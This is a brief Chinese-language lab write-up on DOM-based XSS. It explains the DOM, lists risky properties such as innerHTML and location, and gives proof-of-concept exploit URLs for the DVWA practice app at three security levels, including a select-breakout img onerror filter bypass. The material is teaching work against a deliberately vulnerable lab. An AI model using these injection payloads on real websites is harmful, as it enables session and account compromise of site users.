DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个*的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
可能触发DOM型XSS的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
Low Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
Medium Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(/xss/)>
High Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>